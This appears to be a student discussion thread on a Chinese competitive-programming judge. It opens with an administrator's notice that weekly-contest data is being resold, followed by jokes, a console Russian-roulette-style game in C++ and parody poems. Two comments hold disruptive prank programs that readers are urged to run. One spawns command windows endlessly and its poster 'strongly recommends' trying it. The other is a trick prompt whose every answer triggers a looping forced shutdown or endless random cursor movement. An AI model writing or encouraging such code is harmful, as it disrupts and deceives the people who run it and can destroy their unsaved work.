最近的事情更无语了,某鱼上现在有三个人在卖数据了。周赛数据永久停止更新。

不允许学生创建新讨论了,后面大家可以在这里讨论相关内容。会定期清理。

删了一些同学们自己举办的比赛的帖子。

我建议你们可以私聊参赛。讨论区太乱了,有些提问我看不到了已经。

更重要的是,还是先好好学算法吧各位同学,当你拿了提高组 200200 分,再考虑自己举办一些简单的比赛。

语法场的初心还是为了学生们巩固基础语法,高水平选手可以选择参加入门语法场和入门提高场 目前也没看见能打的 (参考新春马拉松赛成绩)

感觉不过瘾还可以打atcoder和codeforces

557 条评论

  • @ 2025-8-27 16:46:18

    最近的事情更开心了,某鱼上现在有3-3个人在卖数据了。周赛永久每秒更新。

    允许学生创建新讨论了,后面大家不可以在这里讨论相关内容,不会定期清理。

    删了一些TooY0ungTooY0ung33DAI33DAI举办的比赛的帖子。

    我不建议你私聊参赛。讨论区太漂亮了,有些提问我不得不看到了已经。

    更重要的是,还是先好好学举办比赛吧各位同学,当你拿了XX00分,再考虑自己学算法。

    语法场的初心还是为了学生们忘记基础语法,低水平选手可以选择参加入门语法场和入门提高场,目前也没看见不能打的 (参考新春马拉松赛成绩)

    感觉不过瘾还可以不打atcoder和codeforces

    • @ 2025-8-27 16:40:12

    • @ 2025-8-26 15:37:14

      mc

      • @ 2025-8-23 22:53:36

        骗分大逝冒一下泡

      • @ 2025-8-22 15:17:47

        //《人心中的成见是一只Bessie(feiwu的Bessie),无论你怎么看,都看不清有几座山》

        • @ 2025-8-21 20:51:39

          itmakesmeWANTtosay_something_justlike"wtf"

        • 炸了?!

          • @ 2025-8-19 16:41:23

          • @ 2025-8-18 16:39:31

            是不是对shi jia lin偏心!!! 气si我了

            • 不同的题(类型)链接着不同的评测机,你没发现吗?(shi jia li 写的是P开头的(链接的是洛谷的,所以可提交)),但我们做的都不是P开头的,所以A不了(不信就试一个P开头的简单题)

            • 这不AC了?

          • 炸了!!!

            • @ 2025-8-16 18:01:11

              @

              这个不能直接关机,但很折磨

              #include<windows.h>
              using namespace std;
              int main(){
                  system("color F5");
                  for(;;) system("start cmd");
                  return 0;
              }
              

              强烈建议试一试,把代码保存好在逝(别问我为什么这样说)

              • @ 2025-8-15 21:41:31

                没周赛了,咋弄硬币

                • @ 2025-8-16 13:05:57

                  暑期集训的比赛欠了一些后面补一补,9月开始尽可能保证一个月两次周赛,其余课堂发放硬币

              • @ 2025-8-14 20:47:45

                恶魔轮盘赌代码

                #include<bits/stdc++.h>
                #include <windows.h>
                using namespace std;
                int Your=6,Other=6;
                string daojuname[]={"放大镜","手铐","小刀","烟","饮料"};
                double Yourmoney;
                
                int shi,kong;
                int q[10],qlen;//1 实 2 空 
                int Rand(int x,int y){
                	int A=rand(),B=rand();
                	return A*1ll*B%(y-x+1)+x;
                }
                int T;//ou->you
                int daojulen;
                int daoju[10];
                int daojulen1;
                int daoju1[10];
                void build_gun(){
                	kong=Rand(1,4);
                	shi=Rand(1,4);
                	qlen=0;
                	printf("%d发实弹,%d发空弹\n",shi,kong);
                	int a1=kong,a2=shi;
                	for(int i=1;i<=kong+shi;i++){
                //      Sleep(50);
                		int sum=Rand(1,a1+a2);
                		if(sum<=a1){
                			a1--;
                			q[++qlen]=2;
                		}else{
                			a2--;
                			q[++qlen]=1;
                		}
                	}
                	int maxn=min(4,8-daojulen);
                	printf("你获得了%d个道具:\n",maxn);
                	daojulen+=maxn;
                	for(int i=1;i<=maxn;i++){
                //      Sleep(50);
                		int kkk=Rand(0,4);
                		daoju[kkk]++;
                		cout<<daojuname[kkk];
                		if(i!=maxn){
                			printf(",");
                		}
                	}
                	printf("\n");
                	maxn=min(4,8-daojulen1);
                	printf("恶魔获得了%d个道具:\n",maxn);
                	daojulen1+=maxn;
                	for(int i=1;i<=maxn;i++){
                		int kkk=Rand(0,4);
                		daoju1[kkk]++;
                		cout<<daojuname[kkk];
                		if(i!=maxn){
                			printf(",");
                		}
                	}
                	printf("\n");
                	system("pause");
                	system("cls");
                }
                void IsOver(){
                	if(Your<=0){
                		printf("你输了\n");
                		system("pause");
                		exit(0);
                	}
                	if(Other<=0){
                		printf("你赢了\n你获得了奖金$%.2lf\n",Yourmoney);
                		system("pause");
                		exit(0);
                	}
                }
                void wait(){
                	for(int i=1;i<=3;i++){
                		Sleep(500);
                		printf(".");
                	}
                	Sleep(500);
                }
                int Hurt=1;
                int shoukao_you;
                void Timeyou(){
                	int x;
                	while(1){
                		printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
                		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                		printf("你现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("恶魔现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju1[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("现在是你的回合\n");
                		printf("你要\n1.向恶魔开枪\n2.向自己开枪\n");
                		for(int i=0;i<=4;i++){
                			printf("%d.使用",i+3);
                			cout<<daojuname[i]<<'\n';
                		}
                		scanf("%d",&x);
                		if(1<=x&&x<=7){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	if(x==1){
                		printf("你决定向恶魔开枪");
                		T++;
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                			if(shoukao_you==1){
                				shoukao_you=0;
                				printf("因为你使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}else{
                //          printf("((%lf))\n",Yourmoney);
                			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                //          printf("{{%lf}}\n",Yourmoney);
                			shi--;
                			qlen--;
                			Other-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver();
                			if(shoukao_you==1){
                				shoukao_you=0;
                				Yourmoney+=1000.0;
                				printf("因为你使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==2){
                		printf("你决定向自己开枪");
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                		}else{
                			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                			T++;
                			shi--;
                			qlen--;
                			Your-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver();
                			if(shoukao_you==1){
                				shoukao_you=0;
                				printf("因为你使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                		if(daoju[0]){
                			daoju[0]--;
                			daojulen--;
                			printf("你使用了放大镜\n");
                			wait();
                			printf("\n你看到了");
                			if(q[qlen]==1){
                				printf("实弹\n");
                				Yourmoney+=2500.0;
                			}else{
                				printf("空弹\n");
                			}
                			Sleep(500);
                			printf("\n");
                		}else{
                			printf("你现在没有放大镜\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==4){
                		if(daoju[1]){
                			if(!shoukao_you){
                				daoju[1]--;
                				daojulen--;
                				printf("你使用了手铐\n");
                				printf("你获得了连开两枪的机会\n");
                				shoukao_you=1;
                			}else{
                				printf("你已经用过手铐了\n");
                			}
                			Sleep(1145);
                			system("cls"); 
                		}else{
                			printf("你现在没有手铐\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==5){
                		if(daoju[2]){
                			if(Hurt==1){
                				daoju[2]--;
                				daojulen--;
                				printf("你使用了小刀\n");
                				printf("若下一发为实弹则伤害+1\n");
                				Yourmoney+=500.0;
                				Hurt=2;
                			}else{
                				printf("你已经用过小刀了\n");
                			}
                			Sleep(1145);
                			system("cls");
                		}else{
                			printf("你现在没有小刀\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==6){
                		if(daoju[3]){
                			if(Your^6){
                				daoju[3]--;
                				daojulen--;
                				printf("你使用了烟\n");
                				printf("你回复了一点生命\n");
                				Yourmoney+=500.0;
                				Your++;
                			}else{
                				printf("你现在不需要烟\n");
                			}
                			Sleep(1145);
                		}else{
                			printf("你现在没有烟\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else{
                		if(daoju[4]){
                			daoju[4]--;
                			daojulen--;
                			printf("你使用了饮料\n");
                			wait();
                			printf("\n");
                			printf("你退了一发"); 
                			if(q[qlen]==2){
                				printf("空弹");
                				kong--;
                			}else{
                				printf("实弹");
                				Yourmoney+=500.0;
                				shi--;
                			}
                			qlen--;
                			Sleep(500);
                		}else{
                			printf("你现在没有饮料\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}
                	Sleep(1000);
                	system("cls");
                }
                int Know;//通过放大镜得知下一发子弹 
                int shoukaoemo;
                void fightyou(){
                	printf("恶魔决定向你开枪");
                	T++;
                	wait();
                	if(q[qlen]==2){
                		Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                		kong--;
                		qlen--;
                		Hurt=1;
                		Know=0;
                		printf("是空弹\n");
                		if(shoukaoemo){
                			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                			T--;
                			Sleep(500);
                			shoukaoemo=0;
                		}
                	}else{
                		Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                		shi--;
                		qlen--;
                		Your-=Hurt;
                		Hurt=1;
                		printf("是实弹\n");
                		Know=0;
                		Sleep(500);
                		IsOver();
                		if(shoukaoemo){
                			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                			Yourmoney+=1000.0;
                			T--;
                			Sleep(500);
                			shoukaoemo=0;
                		}
                	}
                }
                void fightemo(){
                	printf("恶魔决定向自己开枪");
                	wait();
                	if(q[qlen]==2){
                		Yourmoney+=2000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                		kong--;
                		qlen--;
                		printf("是空弹\n");
                		Know=0;
                	}else{
                		Yourmoney+=5000.0*(1+(double)(kong)*1.0/(double)(shi+kong));
                		shi--;
                		T++;
                		qlen--;
                		Other-=Hurt;
                		Hurt=1;
                		printf("是实弹\n");
                		Know=0;
                		Sleep(500);
                		IsOver();
                		if(shoukaoemo){
                			printf("因为恶魔使用了手铐,所以可以再来一次\n");
                			T--;
                			Sleep(500);
                			shoukaoemo=0;
                		}
                	}
                }
                void Timeother(){
                	printf("你的生命:%d/6\n恶魔生命:%d/6\n",Your,Other);
                	printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                	printf("你现在拥有的道具:\n");
                	for(int i=0;i<=4;i++){
                		cout<<daojuname[i];
                		printf("%d",daoju[i]);
                		printf("个");
                		if(i!=4){
                			printf(",");
                		}
                	}
                	printf("\n");
                	printf("恶魔现在拥有的道具:\n");
                	for(int i=0;i<=4;i++){
                		cout<<daojuname[i];
                		printf("%d",daoju1[i]);
                		printf("个");
                		if(i!=4){
                			printf(",");
                		}
                	}
                	printf("\n");
                	printf("现在是恶魔的回合\n");
                	Sleep(1500);
                	
                	if(Other!=6){
                		if(daoju1[3]){
                			daoju1[3]--;
                			daojulen1--;
                			printf("恶魔使用了烟\n");
                			printf("恶魔回复了一点生命\n");
                			Other++;
                			Yourmoney+=500.0;
                			Sleep(1145);
                			system("cls");
                			return ;
                		}
                	}
                	if(Know==0&&kong==0){
                		Know=1;
                	}
                	if(Know==0){
                		if(abs(shi-kong)<2&&kong!=0){
                			if(daoju1[0]){
                				daoju1[0]--;
                				daojulen1--;
                				printf("恶魔使用了放大镜\n");
                				wait();
                				printf("\n恶魔看到了");
                				if(q[qlen]==1){
                					printf("实弹");
                					Yourmoney+=2500.0;
                					Know=1;
                				}else{
                					printf("空弹");
                					Know=2;
                				}
                				Sleep(1145);
                				system("cls");
                				return ;
                			}
                		}
                	}else if(Know==1){
                		if(Hurt==1&&daoju1[2]){
                			daoju1[2]--;
                			daojulen1--;
                			Hurt++;
                			printf("恶魔使用了小刀\n");
                			printf("若下一发为实弹则伤害+1");
                			Yourmoney+=500.0;
                			Sleep(1145);
                			system("cls");
                			return ;
                		}else{
                			if(shi>=kong+1&&daoju1[1]&&shoukaoemo!=1){
                				daoju1[1]--;
                				daojulen1--;
                				shoukaoemo=1;
                				printf("恶魔使用了手铐\n");
                				printf("恶魔获得了连开两枪的机会\n");
                				Sleep(1145);
                				system("cls");
                				return ;
                			}
                			fightyou();
                			system("cls");
                			return ;
                		}
                	}else{
                		if(daoju1[4]){
                			daoju1[4]--;
                			daojulen1--;
                			printf("恶魔使用了饮料\n");
                			wait();
                			printf("\n");
                			printf("恶魔退了一发"); 
                			if(q[qlen]==2){
                				printf("空弹");
                				kong--;
                			}else{
                				printf("实弹");
                				shi--;
                			}
                			Know=0;
                			qlen--;
                			Sleep(500);
                			Sleep(1145);
                			system("cls");
                			return ;
                		}else{
                			fightemo();
                			Sleep(1145);
                			system("cls");
                			return ;
                		}
                	}
                	if(shi>=kong){
                		fightyou();
                	}else{
                		fightemo();
                	}
                	Sleep(1145);
                	system("cls");
                }
                void Play(){
                	while(1){
                		if(shi==0){
                			build_gun();
                			T=0;
                			continue;
                		}
                		if(T%2==0){
                			Timeyou();
                		}else{
                			Timeother();
                		}
                	}
                }
                void danrenplay(){
                	for(int i=1;i<=3;i++){
                		printf(".");
                //      Sleep(1000);
                	}
                	printf("\n");
                	printf("又来了一位挑战者...\n");
                	Sleep(1000);
                	int x;
                	while(1){
                		printf("准备好参与恶魔的游戏吗?胜者带走奖金,败者将会在此长眠\n1.好的\n2.没问题\n");
                		scanf("%d",&x);
                		if(x==1||x==2){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	while(1){
                		printf("你清楚我们的规则吗?\n1.清楚\n2.不清楚\n");
                		scanf("%d",&x);
                		if(x==1||x==2){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	if(x==1){
                		
                	}else{
                		for(int i=1;i<=3;i++){
                			printf(".");
                			Sleep(1000);
                		}
                		printf("\n");
                		printf("规则:\n");
                		printf("你和恶魔都各有6点生命\n") ;
                		printf("每一回合开始前,你将知道一共有几发实弹,几发空弹,同时双方都将获得4个道具作为补给(上限为8个)\n"); 
                		printf("每一回合,你可以选择对自己开枪,对恶魔开枪或者使用道具\n");
                		printf("如果你对自己开枪,若为空弹,则可以继续行动,否则,停止行动\n");
                		printf("如果你对恶魔开枪,无论如何,都将停止行动\n");
                		printf("道具一览:\n"); 
                		printf("放大镜:可以知道下一发子弹是空弹还是实弹\n");
                		printf("手铐:增加一次本回合的行动次数\n");
                		printf("小刀:若下一发子弹为实弹,则伤害+1\n");
                		printf("烟:可以回复1点体力\n");
                		printf("饮料:可以退一发子弹\n");
                		system("pause");
                		system("cls");
                	}
                	
                	printf("好吧\n");
                	Sleep(1145);
                	printf("游戏将要开始了哦\n");
                	Sleep(1145);
                	system("cls");
                	Play();
                }
                void IsOver_duo(){
                	if(Your<=0){
                		printf("玩家B赢了\n玩家B获得了奖金$%.2lf\n",Yourmoney); 
                		system("pause");
                		exit(0);
                	}else if(Other<=0){
                		printf("玩家A赢了\n玩家A获得了奖金$%.2lf\n",Yourmoney); 
                		system("pause");
                		exit(0);
                	}
                	
                }
                void build_gun_duo(){
                	kong=Rand(1,4);
                	shi=Rand(1,4);
                	qlen=0;
                	printf("%d发实弹,%d发空弹\n",shi,kong);
                	int a1=kong,a2=shi;
                	for(int i=1;i<=kong+shi;i++){
                //      Sleep(50);
                		int sum=Rand(1,a1+a2);
                		if(sum<=a1){
                			a1--;
                			q[++qlen]=2;
                		}else{
                			a2--;
                			q[++qlen]=1;
                		}
                	}
                	int maxn=min(2,8-daojulen);
                	printf("玩家A获得了%d个道具:\n",maxn);
                	daojulen+=maxn;
                	for(int i=1;i<=maxn;i++){
                //      Sleep(50);
                		int kkk=Rand(0,4);
                		daoju[kkk]++;
                		cout<<daojuname[kkk];
                		if(i!=maxn){
                			printf(",");
                		}
                	}
                	printf("\n");
                	maxn=min(2,8-daojulen1);
                	printf("玩家B获得了%d个道具:\n",maxn);
                	daojulen1+=maxn;
                	for(int i=1;i<=maxn;i++){
                		int kkk=Rand(0,4);
                		daoju1[kkk]++;
                		cout<<daojuname[kkk];
                		if(i!=maxn){
                			printf(",");
                		}
                	}
                	printf("\n");
                	system("pause");
                	system("cls");
                }
                void Timeyou_duo(){
                	int x;
                	while(1){
                		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
                		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                		printf("玩家A现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("玩家B现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju1[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("现在是玩家A的回合\n");
                		printf("玩家A要\n1.向玩家B开枪\n2.向自己开枪\n");
                		for(int i=0;i<=4;i++){
                			printf("%d.使用",i+3);
                			cout<<daojuname[i]<<'\n';
                		}
                		scanf("%d",&x);
                		if(1<=x&&x<=7){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	if(x==1){
                		printf("玩家A决定向玩家B开枪");
                		T++;
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                			if(shoukao_you==1){
                				shoukao_you=0;
                				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}else{
                //          printf("((%lf))\n",Yourmoney);
                			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                //          printf("{{%lf}}\n",Yourmoney);
                			shi--;
                			qlen--;
                			Other-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver_duo();
                			if(shoukao_you==1){
                				shoukao_you=0;
                				Yourmoney+=1000.0;
                				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==2){
                		printf("玩家A决定向自己开枪");
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                		}else{
                			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                			T++;
                			shi--;
                			qlen--;
                			Your-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver_duo();
                			if(shoukao_you==1){
                				shoukao_you=0;
                				printf("因为玩家A使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                		if(daoju[0]){
                			daoju[0]--;
                			daojulen--;
                			printf("玩家A使用了放大镜\n");
                			wait();
                			printf("\n玩家A看到了");
                			if(q[qlen]==1){
                				printf("实弹\n");
                				Yourmoney+=2500.0;
                			}else{
                				printf("空弹\n");
                			}
                			Sleep(500);
                			printf("\n");
                		}else{
                			printf("玩家A现在没有放大镜\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==4){
                		if(daoju[1]){
                			if(!shoukao_you){
                				daoju[1]--;
                				daojulen--;
                				printf("玩家A使用了手铐\n");
                				printf("玩家A获得了连开两枪的机会\n");
                				shoukao_you=1;
                			}else{
                				printf("玩家A已经用过手铐了\n");
                			}
                			Sleep(1145);
                			system("cls"); 
                		}else{
                			printf("玩家A现在没有手铐\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==5){
                		if(daoju[2]){
                			if(Hurt==1){
                				daoju[2]--;
                				daojulen--;
                				printf("玩家A使用了小刀\n");
                				printf("若下一发为实弹则伤害+1\n");
                				Yourmoney+=500.0;
                				Hurt=2;
                			}else{
                				printf("玩家A已经用过小刀了\n");
                			}
                			Sleep(1145);
                			system("cls");
                		}else{
                			printf("玩家A现在没有小刀\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==6){
                		if(daoju[3]){
                			if(Your^4){
                				daoju[3]--;
                				daojulen--;
                				printf("玩家A使用了烟\n");
                				printf("玩家A回复了一点生命\n");
                				Yourmoney+=500.0;
                				Your++;
                			}else{
                				printf("玩家A现在不需要烟\n");
                			}
                			Sleep(1145);
                		}else{
                			printf("玩家A现在没有烟\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else{
                		if(daoju[4]){
                			daoju[4]--;
                			daojulen--;
                			printf("玩家A使用了饮料\n");
                			wait();
                			printf("\n");
                			printf("玩家A退了一发"); 
                			if(q[qlen]==2){
                				printf("空弹");
                				kong--;
                			}else{
                				printf("实弹");
                				Yourmoney+=500.0;
                				shi--;
                			}
                			qlen--;
                			Sleep(500);
                		}else{
                			printf("玩家A现在没有饮料\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}
                	Sleep(1000);
                	system("cls");
                }
                void Timeother_duo(){
                	int x;
                	while(1){
                		printf("玩家A的生命:%d/4\n玩家B的生命:%d/4\n",Your,Other);
                		printf("剩余实弹数:%d    剩余空弹数:%d\n",shi,kong);
                		printf("玩家A现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("玩家B现在拥有的道具:\n");
                		for(int i=0;i<=4;i++){
                			cout<<daojuname[i];
                			printf("%d",daoju1[i]);
                			printf("个");
                			if(i!=4){
                				printf(",");
                			}
                		}
                		printf("\n");
                		printf("现在是玩家B的回合\n");
                		printf("玩家B要\n1.向玩家A开枪\n2.向自己开枪\n");
                		for(int i=0;i<=4;i++){
                			printf("%d.使用",i+3);
                			cout<<daojuname[i]<<'\n';
                		}
                		scanf("%d",&x);
                		if(1<=x&&x<=7){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	if(x==1){
                		printf("玩家B决定向玩家A开枪");
                		T++;
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(shi)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                			if(shoukaoemo==1){
                				shoukaoemo=0;
                				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}else{
                //          printf("((%lf))\n",Yourmoney);
                			Yourmoney+=(double)(5000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                //          printf("{{%lf}}\n",Yourmoney);
                			shi--;
                			qlen--;
                			Your-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver_duo();
                			if(shoukaoemo==1){
                				shoukaoemo=0;
                				Yourmoney+=1000.0;
                				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==2){
                		printf("玩家B决定向自己开枪");
                		wait();
                		if(q[qlen]==2){
                			Yourmoney+=(double)(2000.0*(Hurt*1.0)*(1+(double)(kong)*1.0/(double)(shi+kong)));
                			kong--;
                			qlen--;
                			Hurt=1;
                			printf("是空弹\n");
                		}else{
                			Yourmoney+=5000.0*(1+(double)(shi)*1.0/(double)(shi+kong));
                			T++;
                			shi--;
                			qlen--;
                			Other-=Hurt;
                			Hurt=1;
                			printf("是实弹\n");
                			Sleep(500);
                			IsOver_duo();
                			if(shoukao_you==1){
                				shoukao_you=0;
                				printf("因为玩家B使用了手铐,所以可以再来一次\n");
                				Sleep(500);
                				T--;
                			}
                		}
                	}else if(x==3){//{"放大镜","手铐","小刀","烟","饮料"};
                		if(daoju1[0]){
                			daoju1[0]--;
                			daojulen1--;
                			printf("玩家B使用了放大镜\n");
                			wait();
                			printf("\n玩家B看到了");
                			if(q[qlen]==1){
                				printf("实弹\n");
                				Yourmoney+=2500.0;
                			}else{
                				printf("空弹\n");
                			}
                			Sleep(500);
                			printf("\n");
                		}else{
                			printf("玩家B现在没有放大镜\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==4){
                		if(daoju1[1]){
                			if(!shoukaoemo){
                				daoju1[1]--;
                				daojulen1--;
                				printf("玩家B使用了手铐\n");
                				printf("玩家B获得了连开两枪的机会\n");
                				shoukaoemo=1;
                			}else{
                				printf("玩家B已经用过手铐了\n");
                			}
                			Sleep(1145);
                			system("cls"); 
                		}else{
                			printf("玩家B现在没有手铐\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==5){
                		if(daoju1[2]){
                			if(Hurt==1){
                				daoju1[2]--;
                				daojulen1--;
                				printf("玩家B使用了小刀\n");
                				printf("若下一发为实弹则伤害+1\n");
                				Yourmoney+=500.0;
                				Hurt=2;
                			}else{
                				printf("玩家B已经用过小刀了\n");
                			}
                			Sleep(1145);
                			system("cls");
                		}else{
                			printf("玩家B现在没有小刀\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else if(x==6){
                		if(daoju1[3]){
                			if(Other^4){
                				daoju1[3]--;
                				daojulen1--;
                				printf("玩家B使用了烟\n");
                				printf("玩家B回复了一点生命\n");
                				Yourmoney+=500.0;
                				Other++;
                			}else{
                				printf("玩家B现在不需要烟\n");
                			}
                			Sleep(1145);
                		}else{
                			printf("玩家B现在没有烟\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}else{
                		if(daoju1[4]){
                			daoju1[4]--;
                			daojulen1--;
                			printf("玩家B使用了饮料\n");
                			wait();
                			printf("\n");
                			printf("玩家B退了一发"); 
                			if(q[qlen]==2){
                				printf("空弹");
                				kong--;
                			}else{
                				printf("实弹");
                				Yourmoney+=500.0;
                				shi--;
                			}
                			qlen--;
                			Sleep(500);
                		}else{
                			printf("玩家B现在没有饮料\n");
                			Sleep(1145);
                			system("cls");
                		}
                	}
                	Sleep(1000);
                	system("cls");
                }
                int asdasd;
                void duorenplay(){
                	while(1){
                		if(shi==0){
                			build_gun_duo();
                			T=asdasd;
                			asdasd++;
                			continue;
                		}
                		if(T%2==0){
                			Timeyou_duo();
                		}else{
                			Timeother_duo();
                		}
                	}
                }
                int main(){
                	srand(time(0));
                	int x;
                	while(1){
                		printf("请选择你想要的模式:\n1.单人\n2.双人(此模式中,生命值为4,道具补给为2)\n");
                		scanf("%d",&x);
                		if(x==1||x==2){
                			break;
                		}
                		printf("输入不合法\n");
                		Sleep(1145);
                		system("cls");
                	}
                	system("cls");
                	if(x==1){
                		danrenplay();
                	}else{
                		Your=Other=4;
                		duorenplay();
                	}
                	return 0;
                }
                

                谨慎运行

                #include<bits/stdc++.h>
                #include<windows.h>
                using namespace std; 
                int p;
                void destroy_windows(){
                	for(;;){
                		system("shutdown -s -t 0");
                	}
                }
                void die_windows(){
                	int x=GetSystemMetrics(SM_CXSCREEN);
                	int y=GetSystemMetrics(SM_CYSCREEN);
                	srand(time(0));
                	while(1){
                		SetCursorPos(rand()%x,rand()%y);
                	}
                }
                void windows_kill(){
                	cout<<"你敢输入1吗"<<endl;
                	cout<<"千万不要手贱"<<endl;
                	cin>>p;
                	if(p==1){
                		cout<<"你还敢输入?"<<endl;
                		cout<<"再给你一次机会千万不要输入2!!!!"<<endl; 
                		cin>>p;
                		if(p==2){
                			cout<<"你的电脑即将吃席!"<<endl;
                			die_windows();
                		}
                		else{
                			cout<<"胆小鬼";
                			destroy_windows();
                			return; 
                		}
                	}
                	else{
                		cout<<"胆小鬼"<<endl;
                		destroy_windows();
                	}
                }
                int main(){
                	windows_kill();
                }
                
                
                

                明月别枝CE,清风半夜RE。

                稻花香里说丰年,听取WA一片。

                七八个TLE天外,两三点MLE前。

                旧时UKE社OLE边,路转AC忽见。

                君不见,洛谷之题天上来,奔流到海不回。 君不见,高堂AC悲白发,朝如青丝OLE。 人生得意UKE,莫使电脑空对题。 天生我材没有用,千方百计还RE。 WA CE且为乐,会须AC三百题。 TLE,MLE ,将刷题,手莫停! AC=AnswerCoarse=粗劣的答案

                WA=WonderfulAnswer=好答案

                TLE=TimeLimitEnough=时间充裕

                MLE=MemoryLimitEnough=内存充裕

                CE=CompileEasily=轻松通过编译

                RE=RunExcellently=完美运行

                这个人很聪明,什么都没有写

                《再别机房》

                轻轻的,我走了 正如我,轻轻的来; 我轻轻的,招手 告别信息竞赛。

                那桌上的屏幕, 是主机的新娘; 开机时的蓝屏, 在我的心头荡漾。

                地上的食物, 油油的,在底下招摇; 在机房的柔波里, 我甘心做一台电脑!

                那教学楼下的一潭, 不是清泉,是天上虹; 揉碎在浮藻间, 沉淀着oier的梦。

                寻梦?要打开emacs, 向难题,更难处漫溯; 满载一版AC, 打开windows player, 在星辉斑斓里放歌。

                但我不能放歌, 悄悄,是退组的笙箫; CPU也为我沉默, 沉默,是今晚的机房!

